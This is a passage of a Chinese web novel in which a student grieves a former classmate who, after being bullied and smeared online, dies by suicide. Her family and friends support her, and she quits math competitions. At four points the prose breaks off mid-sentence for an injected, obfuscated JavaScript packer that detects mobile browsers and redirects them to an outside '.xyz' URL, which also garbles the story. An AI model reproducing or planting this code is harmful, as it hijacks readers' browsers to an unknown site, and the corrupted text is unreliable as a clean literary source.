【可乐:上高中后她不知道为啥变了个人似的,A中那么严,她还能逃课染发,后面孤立同学,受了处分】 【一条大江:这么严重?】 【一条大江:真假的,你怎么知道的?】 【可乐:她爸妈来学校求过好几次,结果她又谈了个恋爱不回家不回学校,前几天她班主任去隔壁学校找那男的,被推倒进医院了】 【可乐:我不是很理解】 【可乐:江河论坛上面啊,现在A中好多家长在那里说了,影响太大了】 江河论坛,包揽江河县各种民生八卦。 【可乐:真没想到她会变成这种人啊】 【可乐:平时都不联系,现在莫名其妙来找我,可能是没人了吧......我都不好意思说自己认识她了】 【一条大江:可可,她不是这样的,是不是中间发生什么事了?】 【可乐:谁知道呢但这么久了大家肯定都变了我就和你说一声】 【可乐:程瑶那里你也讲下反正别去了】 江随意没有继续回消息,只是开始回想以前初中的事。 程瑶推开教室门进来时,看到的就是她坐在位置上发呆的样子。 “走啦,意意。”程瑶带着点歉意,“不好意思啊,又让你等这么久。” 江随意回过神,摇摇头:“没事,现在出去正好,说不定公交车上人也少,还能有位置坐。” 程瑶状似无意地问:“张晓静……找你了没?” “没有。”江随意站起身,把手机屏幕转向程瑶,“但是可可刚才给我发了一堆消息。” 程瑶扫了一眼,了然地点点头:“是让你别去,对吧?” “她也跟你说了?” “猜也猜到了。”程瑶叹了口气,挽起江随意的胳膊往外走,“边走边说。” 江随意:“到底怎么了?” 程瑶:“不太了解,我也不好评价,论坛上说什么的都有,但我印象里晓静不是这样的人。谈恋爱或许是一时冲动,可是偷东西孤立同学什么的我不相信。” 江随意翻看着江河论坛上的帖子,心里有些不快。 “这说的也太过分了吧?染个头怎么了,谁还没个叛逆期,染回来就好了嘛。”她越往下翻越生气,“谈个恋爱还造人黄谣,能不能举报啊,他谁啊就认识张晓静吗?” 江随意的手指快速滑动着屏幕,那些匿名的顶着“A中学生家长”、“知情人”ID的发言像毒刺一样扎眼。 “你看下面这些跟风的,说得有鼻子有眼,好像亲眼看见似的!” 帖子盖楼的速度快得惊人,恶意的揣测和道德审判充斥其间。 程瑶伸手拿过她的手机,按熄了屏幕:“别看了,这些东西看多了只会生气。” 就在这时,江随意的手机突然嗡嗡震动起来,屏幕上跳出一个陌生的本地号码。她和程瑶对视一眼,彼此心里都有了某种预感。 江随意按了免提:“喂?” 电话那头沉默了两秒,传来一个女声:“是……意意吗?” “晓静?” “嗯,是我。本来想发消息的,但又觉得这么久没联系,发消息怪怪的……还是打个电话吧。” 她的语气带着一种刻意的轻松,却掩不住底下的生疏和忐忑。 “今天我生日,下午想约点人出来聚聚……真的很久没见了……但要是你们没时间或者不方便的话,也没……” “好啊。”江随意打断了她后面的话,“你把地址发给我,我和程瑶一块过去。” 约的地方是她们初中时常去的一家水果捞店。老板娘人很好,总给她们多加水果,只不过现在早就不开了,店面也已经被扩大成了一家西餐厅。 程瑶看着餐厅招牌,小声道:“完了,我这一吃牛排就拉的肠胃怎么拯救?” 江随意拉着她往里走:“没关系,这次我们点全熟。” 两人正说着,就听见有人喊她们的名字。转头看去,靠窗的卡座里站起一个人朝她们挥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739422|172656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手。 是张晓静。 可眼前的张晓静,与她们记忆中那个判若两人。她们都是愣了一下,才从那张浓艳的妆容下找出熟悉的影子。 “怎么,认不出来了?”张晓静脸上的笑容微微凝固,随即又扯开一个更夸张的弧度,带着点自嘲,“正常,这么久不见了,我都快不认识自己了。” 点餐时的客气,询问近况时的简短回答,都透着一股刻意维持的礼貌和挥之不去的尴尬。明明过去她们那么要好,课间十分钟都能叽叽喳喳聊个不停。 程瑶试图缓解气氛,却没想到饮料里带酒精,后劲上来得悄无声息,不一会儿脸和脖子就红了一片,晕乎乎地趴在了桌子上。 餐厅里放的音乐像娓娓道来的故事。 “关于我的事情……你俩应该也听说了不少吧?”张晓静看着窗外行色匆匆的路人,“现在大家都对我避之不及,生怕沾上一点关系,也就你和程瑶还愿意出来。” 江随意放下叉子:“嗯,听说了。” 张晓静看向江随意,眼神复杂,最终自嘲笑了一声:“意意,我还以为,至少我们还算得上是朋友。” “是朋友。” 江随意:“所以我想听你说。” 张晓静定定地看着江随意的眼睛,几秒钟后,释然地笑了。 “你还记不记得我们初中第一次见面?” 江随意点点头。 那时的张晓静总是一个人,独来独往。 早上她快迟到了,本来已经自暴自弃想逃课,硬是被家里人拽起来推出门。 她慢悠悠地骑着自行车,直到看见前面背着书包正在狂奔的江随意。 也许是那天阳光太好,她一时起兴,主动载了对方一回。 中午在食堂吃饭时,江随意就带着程瑶,端着餐盘坐在了她身边。 张晓静最开始觉得这小姑娘是个只会读书的傻子,刚转来那几天跟个哑巴一样。 她的声音低了下去:“后来才发现原来你不是哑巴,整天在我耳朵边念叨,这道题怎么做,那个知识点多重要。我有一点点进步,你就拼命夸,硬生生把我这个吊车尾,给捧到了能去参加A中提前招的水平。” 只可惜A中没有江随意。 “为何旧知己在最后 变不到老友, ......” “来年陌生的, 是昨日, 最亲的某某 ......” 餐厅里的音乐还在继续,可这顿饭却已经结束了。 “总好于那日我没有......” “没有遇见某某......” 张晓静把她俩送上车后在原地看了许久,直到连影子也消失不见。 马上要十一月了,天总是黑得很早。 口袋里的手机疯狂地震动,屏幕上不断跳出新的消息提示和未接来电的显示。 谩骂一条接着一条。 认识的,不认识的,铺天盖地。 甚至连她爸妈也在内。 原本有些起伏的心又沉了下去。 毕竟是父母,倒也不算恶毒,只是她不想听了。 第二日,天正晴。 一则新闻迅速席卷了整个江河县,压过了所有明媚的阳光。 凌晨时分,一个高二女生从江河大桥上跳了下去。 江随意不知道自己是怎么来到警局的。 直到做完笔录出来,依旧浑浑噩噩的。 她只觉得这太阳过于刺眼。 新闻报道的图片上,是教室里一块黑板,上面仅仅写着三个字—— 我没有 江随意的牙齿死死咬住了自己的食指关节,强忍着不要哭出来,可泪水还是模糊了那则新闻。 她颤抖着手点开那个久未亮起的灰色□□头像,空间里只有一条孤零零的说说,发送时间正是今日凌晨。 “感谢在最后依然有人信我。” “我很庆幸,那一日,遇到某某。” “只是我有点坚持不下去了。” 尖锐而持续的鸣声在江随意的耳朵里叫嚣,刺眼的太阳灼得眼前一黑。 26. 豆苗稀 当那些解释过却无人在意的真相成为遗书,大家就开始相信了。 我没有 三个字,潦草却决绝地刻在教室的黑板上。 被新闻镜头放大,它成了张晓静留这在世间最后的辩白,也是对所有喧嚣流言最绝望的控诉。 可这辩白,来得太迟,太轻。 有些声音,活着的时候过于微弱。只有消失了,才会被听见。 但,代价太大。 这一跃,仅仅换来江河县教育局下发的一纸薄薄的公文:要求各中小学切实加强学生心理健康教育。 江随意还记得初三毕业前,秦老师问他们将来有没有什么想去的地方,张晓静说她想去看一看北方的草原。 好可惜。 她现在连这江河都没能走出去。 小的时候总期待长大,觉得未来很长,认为自己也能像大圣那样无所不能,踏碎凌霄,殊不知五指山正朝自己压来。 最后发现,九九八十一难,孙悟空成了斗战胜佛却不再是那个桀骜的大圣,而我们依旧是凡人血肉之躯。 江随意醒来时,天已经完全黑了,只有床头点着一盏暖黄色的小夜灯。 意识像沉在粘稠的泥沼里,挣扎着上浮。她撑起身子,准备下床,双脚却虚软无力,整个人向前栽去。 “砰——” 额头狠狠撞在床头柜角,放在上面的杯子落地摔碎,水花四溅。 “乖乖,你慢点。”刚想进来关窗的江渐明冲了过来,紧张着,“别动,别动,爸爸来。” 他用脚把地板上的碎片往旁边扫了扫,扶着江随意坐回床上:“弄疼了吧?给爸爸看看。” 他打开房间里的灯,江随意的额头上撞出一道红痕。 “爸去给你拿冰......”江渐明话没说完。 “爸爸......”江随意死死抓住他的手,眼泪决堤,“爸爸......晓静她死了......”她语无伦次,身体颤抖着,“为什么?我昨天明明应该再多留一会儿的,她那时候......最需要人陪的时候......我......” “不哭了,爸爸在,爸爸在。” 江渐明看着心里也不好受。 门再次被推开,程遇担忧道:“怎么了......意意醒了?” 看到江随意哭得双眼红肿,眼泪糊了一脸,程遇的心猛地揪紧。这孩子也是她带大的,从未见哭这么厉害过。 哭声撕心裂肺,不知过了多久才渐渐弱下去,变成小声的抽噎。江随意耗尽了力气,再次昏沉沉睡去,头发被汗和泪水浸湿,黏腻地贴在脸上和脖子上。 脸颊上烫呼呼的,还挂着泪。可能是鼻子塞住了,呼吸沉重,一起一伏。 程遇拧了热毛巾,替她擦了擦,又端着一口未动的饭菜,小心翼翼地退了出去,掩上房门。 “怎么样?”等在门口的江渐明立刻接过饭菜,眉头紧锁,“一口没吃?” 程遇摇头:“刚睡下,你小声点。” 江渐明压着嗓子:“这哪能行啊,都快一天没吃东西了,又哭了这么久,身体怎么受得住。” “厨房里我都备着呢,等她想吃了就有。”程遇走向客厅角落的垃圾桶,将之前裹好的杯子碎片又仔细地套了一层厚实的垃圾袋,系紧袋口,“遇上这事,意意怕是还要缓好长一段时间呢。真是遭罪啊,那孩子也是可怜。” “对了,意意的事你跟阿和说了吗?” 江渐明摆摆手:“哪能啊。但也难说,他们兄妹俩从小就啥事都和对方讲,指不定阿和也认识这姑娘。事闹这么大,又都是A中的,估计是瞒不住的。” 程遇:“叶桐那边呢?” “我刚才给她打电话了,但关机,估计是在飞机上呢。” 程遇走到沙发边坐下,叹口气:“唉,还不如咱以前上学呢。我记得去年不也有个小孩,高考前两天从楼上......”她没忍心说出那个字眼,只是摇摇头,“这眼看就要熬到了,真是可惜。” 江渐明:“意意这同学是被霸/凌造谣才跳的,也苦了,又是独生女,她爸妈现在怎么受得了。” “你忘了?”程遇抬头,提醒道:“她妈以前不就是我们高中隔壁班班主任的女儿,我听说现在夫妻俩都崩溃了,精神恍惚的,那最后一通电话好像就是他们打的。” 过了一会儿,程遇像是想起了什么,语气变得有些紧张:“现在这网络太发达了,什么乱七八糟的东西小孩子都能看到,加上学业压力又那么大,会不会......完了完了......” 她突然抓住江渐明的胳膊。 “我平时是不是对星星太凶了?我老觉得他调皮捣蛋,不把心思放学习上,总是训他。我以后教育星星是不是得收一收?” 江渐明本想开口安慰她别多想,脑子里却闪过一个念头,忽然一拍大腿:“完了!” “完了?!”程遇一慌,“我......我真有这么严吗?” “不是说你。”江渐明打断她,急急忙忙冲向玄关处的衣帽架,一把抓起挂在上面的外套,从兜里掏出手机,“是你小儿子江随星。” “这个点他补习班早该下课了,都过去半个来小时了,我们还没去接。” 屏幕上显示着几条未接来电,微信里还有补习班老师发来的消息。 电话手表绑定的家庭聊天群里已经被江随星的语音条刷屏了。 “老爸,等会儿我们可以去买炸串嘛?” “爸爸爸爸爸,收到请回复!” “今天是谁来接我啊,老爸不说话,难道是妈妈吗?” “哦,好吧,我亲爱的妈妈,我可以斗胆吃一份炸串嘛?我今天练习写得又快又准确,被老师夸啦~” “哈喽,有人理我吗?” “嗨~我最最最爱的爸爸妈妈,为什么还不来接我?” “其他小朋友都回家了。” 江随星的语气从撒娇雀跃到疑惑不解,最后又是可怜巴巴的。 “你们不要聪明又可爱的星星了嘛?” “没有哥哥姐姐的我孤独又寂寞。” 江渐明匆匆给老师回了消息,又给江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15745776|172656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随星拨过去电话。 程遇送他到门口:“等一下!接完星星后,顺路去学校旁边超市看看,能不能再买个一样的杯子。”她指了指卧室的方向,“意意最喜欢那个,等她缓过来,再想起杯子碎了心里更难受。” 那是江随星送的礼物,杯身上用画着的一只小猪崽。 “行,我知道了。” 江随意睡得极不安稳,她仍旧没办法控制好自己的情绪,一醒来就开始哭,陷入极度的内疚自责。 江渐明接完孩子后,又连夜托人约好了第二天的心理门诊。 医生开了药,并建议静养观察,暂时脱离压力环境。 江渐明和程遇商量着,本想替江随意向学校多请几天假。没想到隔天早上,江随意没惊动其他人,独自下楼跑了几圈。 深秋清晨,凛冽的空气扑面而来。她沿着小区安静无人的道路,机械地跑了一圈又一圈,直到汗水浸透了后背。 上楼洗完澡后,她就开始默默收拾书包。 江随星捧着碗,小口小口地嗦着面条,眼睛却一直盯着江随意的房门。 他不清楚究竟发生了什么,但他知道阿姐似乎生病了,心情很不好。 江渐明轻轻敲了敲江随意的房门,却没有得到回应。 他有些不放心:“意意,我进来了。” 门打开时,江随意正停下收拾的动作,手里拿着摊开的地理课本,目光呆愣地落在一页彩图上。 书本上的呼伦贝尔草原,碧绿波涛漫过天际线,羊群像坠落的云絮。阳光仿佛能够穿透纸面,洒在那片无垠的自由之上。 “意意,”江渐明声音放得极轻,“要不我们还是在家里休息几天吧?” 江随意抬起微肿的眼,声音带着浓重的鼻音:“爸爸,我想给自己找点事情做。”说话间,眼眶又红了。 “阿姐?”江随星还是没能忍住跟了上来。 他手里捧着昨晚新买的小猪杯,蹲在江随意身侧。 “是发烧了吗还是哪里不舒服?” 弟弟伸手摸摸江随意的额头,但没摸出什么来,又认真看着她道:“不开心也是生病了,就要好好休息。” 他把杯子递过去,里面倒着牛奶。 “刚热好的。” 江随意合上书,接过牛奶喝了一口,又放到一边。 “我没事,阿姐等会儿去学校了,你这几天要乖哦。” “好。”江随星扑到她怀里,学着他们的样子轻轻拍了拍她的背,“阿姐也要乖,要开心。” 江渐明见状,再讲不出话来。 南方的秋,凉意已深。 风卷起几片叶子,打着旋落下。 教务处的老师站在主席台上,第一次没有批评迟到早退。 操场上,学生们列队站着,竟也没人交头接耳。 广播里的声音干巴巴地念着“加强心理健康”、“关爱同学”,每一个字都空洞地砸在地上,激不起任何回响。 江随意仰头望着天上掠过的候鸟,而地理课本里茂盛的北方草原正在无声地枯黄。 27. 路很长 这节晚自习上的是数学课,老师在黑板上推导着数列公式,留下一串串数字符号。 江随意垂眼盯着面前的草稿本,那些数列符号在她眼前扭曲模糊,最终和新闻图片上那三个字重叠。 耳边充斥着各种声音,最刺耳的是出事后林可可打来的电话。 当人将自己焚尽,看客才举着火星子高喊要真相。 “意意,你看到新闻了吗?晓静她竟然......那天她生日我还那么过分地说她......我对不起晓静,明明我们以前关系那么好结果不相信她去听谣言,我也是帮凶......意意......我对不起她......我看新闻上说已经在调查那些事情了,不知道晓静爸妈......” 迟来的歉意像一把钝刀,只能带来一阵闷痛。 江随意心口堵得慌,没有听完就挂断了电话。 人死雪停,污浊才显出刺目的白。 “江随意。” 老师不知何时走下讲台,握着粉笔轻轻点在江随意的桌上。 “写题目了,集中注意力。” 旁边周望玥担忧地用手拍了拍她的胳膊。 江随意猛地回神,下意识地挺直了背,点点头。她拿起笔,试图在练习上写点什么,笔尖却只是在纸上留下几个墨点。 老师看了她一眼,没再说什么,继续往后看下一个同学解题。 坐在斜后方几排的顾橖河,目光从摊开的练习题上抬起,落在了前排那个微微僵直的背影上。 课间铃声响起,大家都还在为老师留下的题目绞尽脑汁,讨论声此起彼伏。 江随意依旧低着头,周望玥凑近她,小声问:“意意,你还好吧?感觉你今天都......”瞥见江随意笔下越来越潦草的字迹,周望玥后面的话咽了回去,只是默默从口袋里拿出一块巧克力放到她桌上。 “去接水吗?就当透个气。”周望玥又问。 “好。” 顾橖河见状,迟疑几秒,也拿着自己的水杯走出了教室。他穿过走廊里扎堆聊天的同学,径直走向接水处。 周望玥看到他过来,识趣地腾出一个位置,然后把水杯递给江随意:“我去趟厕所,你接好后帮我一块带回去。” 江随意拧开自己的杯盖接水,然后注意到顾橖河迟迟没有动作。 “这里还能接水。”她指了指那个空位,“还是你要接热水?” “都可以。”说着,顾橖河把杯子放在温水下。大概是水压不够上不来,水流细细弱弱的才积起一点。 “新闻里那个跳江的女生,”他忽然开口,声音很平静,“是你的初中同学?” 江随意的手忽然一抖,刚接满的热水晃出来一点,溅在台面上。 她下意识缩手。 “小心烫。”顾橖河反应很快,伸手扶住了她杯子的下端。他的手指不可避免地擦过她握着杯壁的指尖。 直到旁边顾橖河自己的杯子终于接满了温水,哗啦啦流出的声音响起,他才松开手,关掉了水龙头。 “这两天你请假没来学校也是因为这件事吗?” “你怎么知道的?” 江随意把杯子盖上。 “江河论坛上有人贴了你们初中的班级合影。”顾橖河看着她旋了几次都没盖好杯盖,“而且她以前也是秦老师的学生。” 他伸出手:“我来吧。” 江随意沉默几秒,把杯子递过去。酸涩感再次涌上来,声音低了下去:“我们毕业后就没怎么联系了,我都不知道原来她在A中经历了那么多。” “那天正好是她生日,找我和程瑶吃饭,还谢我们肯相信她,没想到后来就......”她吸了口气,“要是那天我多陪她一会儿说不定就不会发生了。” “活着的人,很难真正明白那种绝望。”顾橖河旋紧杯盖,还给江随意。 她没有接。 一滴泪水落在他握着杯子的虎口上。 顾橖河动作顿了一下,没说话,从校服口袋里摸出一包纸巾递过去。 “人已经不在了。无论多难过,多想回到过去做点什么,时间都不会倒流。” “我知道。”江随意接过杯子和纸巾,抬起头,眼圈发红,“可她的人生不应该就这样结束。” “人走了,就是走了。活着的人,得想办法往前走。” 顾橖河的声音忽然也压了下来。 “她没有怪你。” 难过自责尚未褪去,但心口堵着的地方,似乎被这几句话撬开了一条缝隙。 晚自习结束。 刚走出教室门,江随意就看见陈诺正踮着脚朝教室张望,程瑶站在她身侧。 看到她俩出来,陈诺立刻跑过来,眼神里满是关切,但嘴上刻意轻快:“赶紧的,你俩磨蹭什么呢?快点,食堂新出的炸酸奶,再不去连渣都没了!” 程瑶的目光快速地在江随意脸上扫过,伸手自然地挽住了她的胳膊:“走吧,吃点热的,暖和暖和。” “那还废什么话,我都饿得前胸贴后背了。我跟你们说,今天数学最后那道题,我真是杀疯了,硬是憋出了三种解法。” 周望玥立刻挽住江随意的另一边胳膊。 陈诺:“是去年协作体那张吗?你牛,我到现在都还没写出来呢。” 周望玥点头:“可把我给厉害坏了。” 程遇低声问江随意:“你呢?今天人有没有不舒服?” 周望玥松开手,默契地和陈诺交换了一个眼神,两人加快了脚步,一边激动地讨论起自己吃过的炸酸奶,一边把江随意和程瑶稍稍落在了后面一小段距离。 通往食堂的小路两旁,路灯早早亮起。 “意意,”程瑶的声音很轻,但江随意听清了,“我知道这很难接受,但不要把责任揽在自己身上。” “嗯。”江随意应声,“你知道后来可可给我打电话了吗?” “原来人长大是真的会变的。”她仰头望向天空,天上黑漆漆一片,什么也没有,“可人死了却不会变成星星,晓静也听不见他们的道歉。” 路灯的光从侧面打过来,照亮程瑶同样泛红的眼眶。她伸出双臂,紧紧地抱住了江随意。 这个拥抱像一张密实安全的网,稳稳地兜住了江随意那摇摇欲坠的身心。 江随意把脸埋在程瑶的肩膀上,鼻间充斥着对方身上淡淡的清香,一点点驱散了心口那团冰冷沉重的雾霭,带来一丝暖意。 她没有哭,只是用力地回抱住了程瑶,路灯将她们的影子投在地上。 前面食堂门口明亮的灯光下,周望玥和陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787965|172656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诺正笑着朝她们挥手,炸酸奶那诱人的甜香,似乎已经随着夜晚微凉的风飘了过来。 夜很长,路也长。 但灯还亮着。 回到宿舍楼,走廊里弥漫着洗发水和洗衣液的混合气味,各个宿舍里传出嬉笑声,这是独属于校园夜晚的喧嚣。 周望玥一进门就瘫在下铺的床上,夸张地长叹一声:“终于活过来了,陈诺你快点,我的炸酸奶。” 陈诺把靠在墙角的小桌子拿来打开,将宵夜都放在了上面。 “不是,你怎么就开吃了。”周望玥起身。 陈诺:“怎么还要我喂给你啊?”她迅速往嘴里塞了几口。 “啊啊啊啊,你吃慢点!” 程瑶收拾完东西,端着脸盆去卫生间里。 “给我留点啊。” 周望玥嘴里塞得满满,比了个OK。 陈诺笑着,又从书包里翻出卷子:“对了意意,你能给我讲下这道题吗?” 江随意从床底拉出一个小板凳坐下。 “哪个?” “这里这里。” 陈诺拿着卷子到江随意身边,指着自己的一处计算:“我怎么觉得这个答案不太对劲呢?” 周望玥小口咬着炸酸奶,也拖过板凳凑过去:“我看看......咦?你这里是不是点找错了?”她嘴里含着食物,声音有点含糊,但思路很清晰,直接用手指点在陈诺的草稿上。 程瑶洗完出来,看着她们正挤在一起讨论。 “赶紧先去洗,不然等会儿熄灯后没热水了。” 周望玥解决完炸酸奶,满足地舔舔嘴角,也投入题海中。她翻开一页新的草稿纸,大声喊道:“你们先去,我把这道题算完。” 江随意给陈诺讲解完那个关键步骤,然后继续吃着自己的煎饺。 陈诺:“你怎么总爱买煎饺吃,尝尝炸酸奶,可好吃了。” 周望玥接了一句:“可不只煎饺,她还爱吃烧饼。” 江随意笑笑没有说话。 上小学的时候,她有一回在校门口的小摊吃坏了肚子。后来妈妈收走了她的零花钱,每天就只给买水的一块钱。这一块钱还是她连着好几天故意不带水杯,好不容易争取来的。 没多久同学家楼下来了个卖烧饼的,那烧饼实在诱人,每次看对方吃,江随意都馋得不行。 攒了快一个星期,她才能买到一个香喷喷的烧饼。 直到后来准备转学,妈妈拗不过她的软磨硬泡,带她去那附近买了一个。 江随意这才知道,原来这个烧饼她本可以一天买一个。 被同学骗了大半个学期,叶桐倒是不生气,却没忍住笑她傻。 “想什么呢,又发呆。”程瑶把炸酸奶递到她嘴边,“快尝尝,都要凉了,吃完快点去洗澡。” “在想我小时候被同学中间商赚差价五块钱。” “啥呀?”她俩都把笔放下凑过来。 ...... “不是,为啥啊意意,你小时候咋那么呆呢?” “她现在也挺呆的哈哈哈哈......” “我要给笑死了,你那同学还真会做生意。” “简直暴利啊,可怜我们意意同学每个星期辛辛苦苦攒下六块钱,白给五块出去。” 28. 言下意 新一次月考成绩的红榜刚贴上公告栏,就有不少人围了过来。 “卧槽,江随意杀回来了!” “顾橖河也好稳,跟江随意就差一分。”旁边有人咂舌,目光在榜单最上方两行相邻的成绩间来回扫视。 “这次前五名除了顾橖河,又大换血了。”一个女生叹了口气,“感觉每次都是神仙打架,我等凡人只能仰望。是我不配和各位大佬一个学校了。” “刚从办公室回来,”那戴着黑框眼镜的男生压低声音,神秘兮兮地加入讨论,“听老师们闲聊,说江随意好像退竞了。” “啊?”有人惊呼,“我记得她不是省一进队了吗,咋就退了?” “省一指的是省一等奖,也有不少人拿到,然后从里面选拔组成省队,江随意好像是进了吧,但不管怎么样也都挺可惜的。” “数竞里面女生本来就不多吧,能走到这步的也是狠人。” “压力也大啊!”另一个男生插嘴,“我朋友哥哥初三被招到隔壁市Z中去了,也是竞赛生,每天头秃,最后选考数学都只能拿C。” “C?为什么?” 那男生解释道:“停课集训呗,前两年数学没咋学,但不妨碍最后高考数学接近满分。所以你看江随意能两边都抓得这么牢,前期是真牛。估计现在压力太大,退了也正常。” 大家又开始七嘴八舌讨论着。 “Z中全省招生,别说竞赛保送了,今年状元也是他们的。” “但状元是我们A市的人,听说到现在小区横幅都还挂着没放下来呢。” “现在不说咱江河县是乡下山头人啦,都是A市的哈。” ...... 高二段长拿着课本站在他们身后,幽幽来一句:“有这个闲工夫讨论这些,不如回去多刷几套卷子争取之后的状元花落南江。” 人群一哄而散。 隐约还能听见有人嘀咕:“江河县有几年没出状元了吧,除了保送的,考上清北的人数也没往年多了。” 江随意安静地坐在自己的位置上,手中的笔在草稿纸上沙沙移动,并没有起身去看外面的热闹。但同学们的议论声像风一样吹进来,她大概也知道了结果。 “意意!”周望玥扑了过来,手臂环住江随意的脖子,兴奋喊着,“我们意意又重新杀回来了!怎么能这么棒啊!” 她松开手,撑着桌沿,眼睛亮亮的。 “前三的位置轮流换,顾橖河这回居然还能稳在第二,也是神了。” 越好的学校,竞争也越大。 上高中以后,不管是校内考试还是各县区、又或者省内名校联考,没有人能保证自己永远都处在第一的位置。 毕竟身边的每一个人,都曾是各自初中最优秀耀眼的存在,他们聪明自律,甚至比你更努力。 在这里,压力会有,但朝着目标前进的他们不输任何人。 “你这次也不错。”江随意没有抬头,笔尖依旧落在纸上。 “嘿嘿,小有进步。”周望玥这才注意到江随意草稿本上并非计算公式,而是一幅铅笔素描。 画的是她之前用来泡午时茶的马克杯。线条流畅,光影柔和,杯子上憨态的图案跃然纸上。 周望玥:“你借我杯子还以为要泡东西呢。” 她惊讶地凑近,忍不住夸道:“哇塞,之前就听程瑶说你以前学过不少东西。” 她震惊:“虽然我是个外行,但你这画看起来挺厉害的。” “无聊,随便画画。”江随意放下笔。 记忆里,童年的时光总是被各种兴趣课塞得满满当当。她甚至有点想不起,那个小小的自己,是怎么在众多的课程间辗转,甚至还都去考了级。 妈妈不要求样样精通,但希望她多少都会点一些。 江随意也就这么学下去了。 素描和色彩学得最久,也最得心应手,以前只有期末考结束后能休息几天,基本上每天雷打不动的一张速写练习。直到升入高中,课业加重才不得不停下。 但一年多没碰了,确实生疏不少。 妈妈说学这些是多一个选择,可以在将来有需要时不动声色站稳脚跟。江随意以前没在意,只是妈妈让她学,她就学了。 江随意看着眼前的素描画,手指描绘着线条。 也许这会是她的另一条路。 “你们学霸的精力是无限的嘛!”周望玥感慨道,带着点羡慕和不解。 这时林一娢和同桌正抱着一大摞作业本走进教室,“啪”一声扔在讲台上。 “重死了,下学期的作业本能不能题目变少点?” 林一娢又抬起头,朝着江随意的方向喊道:“意意,陈姐让你去趟班主任办公室拿手机,好像是你妈妈找你。” “我妈?”江随意有些奇怪。 妈妈最近不是在外地吗?是听说了晓静的事情吗? 办公室里人不多,显得格外安静。江随意走到陈老师的办公桌旁,她指了指放在桌角的手机:“你妈妈给我打电话,听着应该有急事,你去外面接一下,注意别耽误下节课。” “谢谢陈老师。”江随意拿起自己的手机开机,刚解锁给叶桐发去消息,屏幕上就弹出了对方的视频通话请求。 她走到办公室外安静的走廊角落,接通了视频。 江随意看着屏幕里熟悉的环境:“妈妈,你回来了吗?” 叶桐:“嗯,刚下飞机回家。” “你爸之前给我打电话了,但我在飞机上没接到,事情我都知道了。”她顿了顿,目光仔细地扫过屏幕里女儿的脸,“现在人感觉怎么样,有没有哪里不舒服的?” 江随意摇摇头:“我没事了。” 简单聊了几句,叶桐才开始进入正题:“听你教练说,你拖了很久还是没有填信息表,前天申请退竞了?” 江随意紧张到舔了下唇,轻轻应道:“嗯。” “又来一出先斩后奏?”叶桐微微拧起眉头,语气里听不出情绪。 “没有。”江随意立刻否认,有些急,随即又心虚地低下头,避开了妈妈的眼睛,声音都轻了许多,“我和爸爸说了。” 视频那端,叶桐沉默地看着她。 江随意语速很快:“妈妈,我不想再继续竞赛了。”说完,她能感觉到自己的心跳在加速,掌心微微出汗。 视频里迟迟没有声音。 过了许久叶桐才开口:“意意,我和你教练沟通了。你现在的竞赛成绩不差,继续保持下去,就算没能走到最后,你也能有很多选择。” 她的语气加重了几分。 “之前提前招是这样,分班选科也是这样,你为什么从来不告诉我一声?爸爸有知情权,妈妈就没有吗?” 江随意声音有些闷闷的:“你不会同意的。” “我......”叶桐顿住。 “妈妈嘴上没说,但我知道你不高兴了。” 看着女儿始终没有抬眼,叶桐心里忽然有些难过。 “我是不高兴。但我生气的是,你在做这些决定的时候,把我排除在外了,你从来没有告诉我一声。” “意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15793675|172656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意,我是你妈妈。” 江随意抬起头,有些错愕地看着屏幕里的人。叶桐话语间的难过和失落,是她未曾预料到的。 上课的铃声响了起来,叶桐似乎也听见了。 她疲惫地闭了闭眼,没再继续,只是浅叹一声:“你先去上课吧,周末回去我们再好好聊聊。” 视频挂断了。 屏幕暗了下去。 江随意把手机交还给陈老师。回教室的路上经过公告栏,人群早已散去。 她的目光不由自主地投向最顶端,两个人的名字上下挨在一起。 高二(3)班江随意 高二(3)班顾橖河 江随意的视线在上面停留了几秒。不知怎么回事,那晚鱼灯夜游的光影又浮上心头。 “你从来都不说,她永远都不知道你真正想要什么。” “不去试试,有可能什么都抓不住。” 